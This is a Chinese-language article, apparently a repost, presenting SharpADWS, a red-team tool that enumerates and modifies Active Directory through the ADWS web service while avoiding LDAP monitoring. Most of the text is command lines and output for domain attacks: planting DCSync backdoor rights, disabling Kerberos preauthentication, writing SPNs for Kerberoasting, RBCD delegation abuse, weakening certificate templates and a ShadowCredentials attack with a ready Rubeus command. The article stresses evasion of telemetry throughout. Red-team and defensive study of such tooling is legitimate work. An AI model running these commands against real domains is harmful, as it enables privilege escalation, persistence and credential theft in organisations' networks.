文章总结： SharpADWS是一个通过ADWS协议而非直接LDAP来枚举和操作ActiveDirectory的红队工具。它利用ADWS协议在TCP9389端口上运行，不易被监控工具检测。该工具支持多种AD攻击技术，包括ACL枚举、DCSync权限设置、Kerberoasting攻击、资源委派利用等，为红队提供了隐蔽的AD环境侦查和利用能力。 综合评分： 100 文章分类： 红队,内网渗透,渗透测试,漏洞分析,实战经验

SharpADWS – 滥用 ADWS 协议枚举 Active Directory

whoami

实战攻防安全

2024年5月2日 20:34 福建

Overview

SharpADWS 是一个为 Red Teams 打造的 Active Directory 侦查和利用工具，其通过 Active Directory Web Services (ADWS) 协议收集并修改 Active Directory 数据。

通常情况下，枚举或操作 Active Directory 是通过 LDAP 协议进行的。SharpADWS 能够在不直接与 LDAP 服务器通信的情况下提取或修改 Active Directory 数据。在 ADWS 下，LDAP 查询被包装在一系列 SOAP 消息中，然后使用 NET TCP Binding 加密信道将它们发送到 ADWS 服务器。随后，ADWS 服务器在其本地解包 LDAP 查询并将其转发到运行在同一域控制器上的 LDAP 服务器。

在安装 Active Directory Domain Services (ADDS) 后，Active Directory Web Services (ADWS) 将自动开启，因此 SharpADWS 在所有域环境中具备通用型。

Good Point

使用 ADWS 进行 LDAP 后利用的主要好处之一是它相对不为人所知，由于 LDAP 流量不会通过网络发送，因此不容易被常见的监控工具检测到。ADWS 运行与 LDAP 完全不同的服务，可在 TCP 端口 9389 上使用，并使用 SOAP 协议作为其接口。

在研究 ADWS 时，我们注意到，由于它是 SOAP Web 服务，因此实际执行的 LDAP 查询是在域控制器本地完成的。这提供了许多有趣的副作用，结果证明是有利的。比如，在分析域控制器上的 LDAP 查询时，您可能会注意到查询源自 127.0.0.1日志，在许多情况下它们将被忽视。

这样做的第二个好处是该活动不会显示在 LDAPSearch 操作类型下的 DeviceEvents 中，这意味着可用的遥测数据非常少。

Protocol Implementation

SharpADWS 实现了 MS-ADDM、MS-WSTIM 和 MS-WSDS 协议的相关细节，您可以借助该项目的源码，轻松实现对 Active Directory Web Services 的以下操作：

• Enumerate：创建与指定的搜索查询过滤器相映射的上下文。

• Pull：在特定枚举的上下文中检索结果对象。

• Renew：更新指定枚举上下文的过期时间。

• GetStatus：获取指定枚举上下文的过期时间。

• Release：释放指定的枚举上下文。

• Delete：删除现有的对象。

• Get：从对象中检索一个或多个属性。

• Put：修改对象上的一个或多个属性的内容。

• Add：将指定的属性值添加到指定属性的值集中，如果目标对象上尚不存在该属性，则创建该属性。

• Replace：用操作中指定的值替换指定属性中的值集，如果目标对象上尚不存在该属性，则创建该属性。如果操作中没有指定值，则将删除当前指定属性上的所有值。

• Delete：从指定的属性中删除指定的属性值。如果没有指定值，则将删除所有值。如果目标对象上不存在指定的属性，则 PUT 请求失败。

• Create：创建一个新的对象。

Usage

命令行参数 -h 可用于显示以下使用信息：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | C:\Users\Marcus>SharpADWS.exe -h SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top) -h Display this help screen Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account FindDelegation options: No options, just run! |

Cache

SharpADWS 在枚举 ACL 时，为了不对每个未知的受托者对象执行额外的 ADWS 请求，需要提前通过 cache method 创建所有账户对象的完整缓存并将其保存到文件中，从而避免产生大量（不必要的）流量。该缓存包含当前域内每个账户对象名称与其 objectSid 的映射。

| | | | — | — | | 1 2 3 4 | C:\Users\Marcus>SharpADWS.exe Cache [*] Cache file has been generated: object.cache |

Acl

Acl method 能够枚举指定 -dn 的对象的 DACL，并且支持通过 -trustee、-right 和 -rid 参数对枚举出的 DACL 进行筛选。比如，我们要枚举所有的 Domain Controller 对象，并筛选出受托者为 Marcus 的 DACL，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 | C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False |

又比如，我们要枚举所有的 User 对象，并筛选出权限为 GenericWrite，受托者的 RID 大于 1000 的 DACL，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 | C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000 Severity : Critical ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False |

此外，Acl method 还支持对特定对象的枚举：

| | | | — | — | | 1 2 3 4 5 6 | SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects |

需要注意的是，Acl Method 的使用必须依赖于已经通过 Cache Method 建立的映射缓存。

DCSync

DCSync method 的 list 能够查询出所有被授予了 DS-Replication-Get-Changes、DS-Replication-Get-Changes-All 和 DS-Replication-Get-Changes-In-Filtered-Set 权限的账户，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | C:\Users\Marcus>SharpADWS.exe DCSync -action list Severity : Info ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Administrators IsInherited : False Severity : Info ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Domain Controllers IsInherited : False Severity : Critical ObjectDN : DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ExtendedRight ObjectType : DS-Replication-Get-Changes-All Trustee : Alice IsInherited : False |

需要注意的是，DCSync Method 的 list 必须依赖于已经通过 Cache Method 建立的映射缓存。

此外，在拥有足够权限的情况下，您可以通过 write 为某个账户授予 DCSync 权限，以建立域持久性后门：

| | | | — | — | | 1 2 3 4 | C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus [*] Account Marcus now has DCSync privieges on the domain. |

DontReqPreAuth

DontReqPreAuth method 的 list 能够查找出所有设置了 “Do not require kerberos preauthentication” 选项的账户，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 | C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list [*] Found users that do not require kerberos preauthentication: [*] CN=Bob,CN=Users,DC=corp,DC=local [*] CN=Alice,CN=Users,DC=corp,DC=local [*] CN=John,CN=Users,DC=corp,DC=local |

此外，您可以滥用对目标账户 userAccountControl 属性的 WriteProperty 权限，通过 write 为该账户启用 “Do not require kerberos preauthentication” 选项，以执行 AS-REP Roasting 攻击：

| | | | — | — | | 1 2 3 4 | C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator [*] Set DontReqPreAuth for user Administrator successfully! |

Kerberoastable

Kerberoastable method 的 list 能够查找出所有设置了 SPN 的账户，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 | C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list [*] Found kerberoastable users: [*] CN=krbtgt,CN=Users,DC=corp,DC=local [*] kadmin/changepw [*] CN=Bob,CN=Users,DC=corp,DC=local [*] WWW/win-iisserver.corp.local/IIS [*] TERMSERV/win-iisserver.corp.local [*] CN=John,CN=Users,DC=corp,DC=local [*] TERMSERV/WIN-SERVER2026 |

此外，您可以滥用对目标账户 servicePrincipalName 属性的 WriteProperty 权限，通过 write 为该账户（仅限于用户账户）添加一个 SPN，以执行 Kerberoasting 攻击：

| | | | — | — | | 1 2 3 4 | C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator [*] Kerberoast user Administrator successfully! |

AddComputer

AddComputer method 允许您在 ms-DS-MachineAccountQuota 属性值限制的范围内创建一个新的计算机账户，该极其账户可用于后续的 RBCD 攻击中使用。

| | | | — | — | | 1 2 3 4 | C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd [*] Successfully added machine account PENTEST$ with password Passw0rd. |

RBCD

RBCD method 的 read 能够读取指定账户对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值，以检查谁有权限对该账户进行资源委派，如下所示：

| | | | — | — | | 1 2 3 4 5 6 7 | C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$ [*] Accounts allowed to act on behalf of other identity: [*] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [*] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [*] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117) |

RBCD method 的 write 能够写入目标账户对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，以进行 Resource-Based Constrained Delegation 攻击。如下所示，我们首先用 AddComputer method 创建了一个新的极其账户 PENTEST$，然后我们可以执行以下命令，将 PENTEST$ 的 SID 写入 DC01$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中：

| | | | — | — | | 1 2 3 4 5 6 7 | C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$ [*] Delegation rights modified successfully! [*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113) |

此外，通过 remove 可以将 write 中添加的 SID 从目标对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中移除：

| | | | — | — | | 1 2 3 4 5 6 | C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$ [*] Delegation rights modified successfully! [*] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113) |

Certify

Certify method 的 find 能够像 Certify 一样枚举 ADCS 中的数据，包括所有的证书颁发机构和证书模版：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | C:\Users\Marcus>SharpADWS.exe Certify -action find [*] Find CA and certificate templates [*] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA' Enterprise CA Name : corp-DC01-CA DNS Name : DC01.corp.local FullName : DC01.corp.local\corp-DC01-CA Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834 Certificate Validity Start : 2/13/2024 5:55:36 PM Certificate Validity End : 2/13/2029 6:05:36 PM CA Permissions : Enrollment Rights : : Authenticated Users Object Control Permissions : ManageCA : : Enterprise Admins : DC01 : Domain Admins ManageCertificates : : Enterprise Admins : DC01 WriteDacl : : Enterprise Admins : DC01 : Domain Admins WriteOwner : : Enterprise Admins : DC01 : Domain Admins WriteProperty : : Enterprise Admins : DC01 : Domain Admins [*] Available Certificates Templates CA Name : CORP-DC01-CA Template Name : User Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT msPKI-Private-Key-Flag : EXPORTABLE_KEY CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Domain Users CA Name : Template Name : UserSignature Enabled : False Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False pKIExtendedKeyUsage : Secure Email Client Authentication msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : AUTO_ENROLLMENT msPKI-Private-Key-Flag : ATTEST_NONE CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Domain Users # ... |

此外， find 支持 -enrolleeSuppliesSubject 和 -clientAuth 选项，能够筛选出所有开启了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志和支持 Client Authentication 的证书模版：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth [*] Find CA and certificate templates [*] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA' # ... [*] Available Certificates Templates CA Name : CORP-DC01-CA Template Name : User Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT msPKI-Private-Key-Flag : EXPORTABLE_KEY CA Permissions : Enrollment Rights : : Domain Admins : Domain Users : Enterprise Admins Object Control Permissions : WriteDacl : : Domain Admins : Enterprise Admins WriteOwner : : Domain Admins : Enterprise Admins WriteProperty : : Domain Admins : Enterprise Admins : Marcus : Domain Users # ... |

需要注意的是，Certify Method 的 find 必须依赖于已经通过 Cache Method 建立的映射缓存。

Certify method 的 modify 允许您在拥有对目标模版的写入权限下，修改证书模版的属性，例如开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志或启用 Client Authentication：

| | | | — | — | | 1 2 3 4 5 | C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth [*] Enable enrollee supplies subject for template User successfully! [*] Enable client authentication for template User successfully! |

Whisker

Whisker method 能够像 Whisker 一样执行 ShadowCredentials 攻击的生命周期。

Whisker method 的 list 能够列出目标账户对象的 msDS-KeyCredentialLink 属性值：

| | | | — | — | | 1 2 3 4 5 6 7 | C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$ [*] List deviced for DC01$: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [*] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [*] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM |

Whisker method 的 add 允许您在拥有写入权限的情况下，为目标账户的 msDS-KeyCredentialLink 属性添加一个 Key，以执行 ShadowCredentials 攻击：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd [*] Certificate generaged [*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2 [*] Updated the msDS-KeyCredentialLink attribute successfully! [*] You can now run Rubeus with the following syntax: Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA 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 /password:"Passw0rd" /domain:cor p.local /getcredentials /show |

此外，通过 remove，您可以提供 -device-id 将指定的 Key 从目标对象的 msDS-KeyCredentialLink 属性中移除：

| | | | — | — | | 1 2 3 4 5 6 | C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596 [*] Found value to remove [*] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM |

FindDelegation

FindDelegation method 能够枚举出当前域内所有的委派关系，该 method 没有多余的选项或参数：

| | | | — | — | | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation AccountName AccountType DelegationType DelegationRightsTo ----------- ----------- ---------------------------------- ---------------------------------------------- DC01$ Computer Unconstrained N/A PENTEST$ Computer Resource-Based Constrained DC01$ WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01 WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01 WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP |

查看原文：《SharpADWS – 滥用 ADWS 协议枚举 Active Directory》